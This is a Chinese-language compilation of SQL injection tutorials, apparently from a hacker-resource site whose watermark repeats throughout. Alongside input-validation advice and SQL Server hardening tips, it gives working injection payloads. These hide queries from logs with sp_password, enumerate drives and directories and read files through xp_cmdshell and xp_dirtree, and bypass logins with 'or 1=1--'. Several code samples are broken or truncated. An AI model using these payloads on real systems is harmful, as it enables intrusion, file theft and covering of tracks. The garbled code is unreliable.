更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。 因此,为了隐藏所有注入,攻击者需要简单地在'—'注释字符后追加sp_password,例如:
Username:admin'—sp_password
事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。 [防范]
这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。
[输入验证]
输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。
下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。 不同的数据确认方法可以按以下分类: 1) 努力修改数据使它成为正确的 2) 拒绝被认为是错误的输入 3) 只接收被认为是正确的输入
第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。 第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。
第三种情况可能是三种中最好的,但是很难实现。
从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入,然后搜索输入中已知的错误数据。
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子: Quentin Bassington-Bassington
我们必须在正确输入中允许连接符号,但是我们也意识到字符序列'—'对SQL SERVER很重要。
当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测'—','select'和'union',攻击者可以输入: uni'on sel'ect @@version-'- 既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。
这有一些确认代码的例子: 方法一——过滤单引号 function escape(input) input=replace(input,\escape=input end function
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
方法二——拒绝已知的错误输入 function validate_string(input)
known_bad=array(\validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next
end function
方法三——只允许正确的输入 function validatepassword(input) good_password_chars=”
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true for i=1 to len(input) c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next
end function
[SQL SERVER锁定]
在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表: 1.确定连接服务器的方法
a.确定你所使用的网络库是可用的,那么使用\2.确定哪些帐户是存在的
a.为应用程序的使用创建一个低权限的帐户 b.删除不必要的帐户
c.确定所有帐户有强壮的密码;执行密码审计 3.确定哪些对象存在
a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的'.dll'文件
b.移除所有示例数据库——例如'northwind'和'pubs'数据库 4.确定哪写帐户能过使用哪些对象
a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限
5.确定服务器的补丁
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。
6.确定什么应该被日志记录,什么应该在日志中结束。
如何利用Sql 注入遍历目录 关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究当System_user为\时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:先创建一个临时表:temp '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 接下来:(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: 5';insert temp exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中: 5';insert into temp(id) exec
master.dbo.xp_subdirs 'c:';-- (3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: 5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell: 5';insert into temp(id) exec
master.dbo.xp_cmdshell 'type c:webindex.asp';-- 浏览temp就可以看到index.asp文件的内容了! 当然,如果xp_cmshell能够执行,我们可以用它来完成: 5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:';-- 5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c: *.asp /s/a';-- 通过xp_cmdshell我们可以看到所有想看到的,包括W3svc 5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscripq C:InetpubAdminscripqsadsutil.vbs enum w3svc' 但是,如果不是Admin的权限,我们还可以使用 5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 如果大家还有什么好的方法欢迎与我讨论研究
SQL Injection技巧的演练收藏
原著: sk@scan-associates.net 出处: http://www.securiteam.com/ 翻译人: demonalex
翻译人Email: demonalex_at_dark2s.org
+上 http://demonalex.cn.st / http://www.cnwill.com
摘要:
下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这种漏洞攻击的人了解该漏 洞的本质而写的。
详细资料:
1.0绪论
当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH的话,我们只好把攻击的
矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击没有什么特殊的要求,只需要
对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理
程序(如ASP,JSP,PHP,CGI等等)的而进行。
这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这
篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些参考吧。你也可以
在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资 料。
1.1什么是SQL注入?
这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击
者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请
求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将
该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否
有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领 域’区来达到攻击的目的。 1.2SQL注入需要什么(工具等)呢? 一个(些)网页浏览器。
2.0什么信息是你所需要找寻的呢?
首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
的参数。尽管如此,你仍可以通过查看HTML的源代码中的\标签来辨别是否有参数传递,相关的代码 如下:
在
的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10
3.0你应该如何测试这些缺陷是否存在呢? 首先先加入某些特殊的字符标记,输入如: hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入: - Login: hi' or 1=1-- - Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分 的值,如: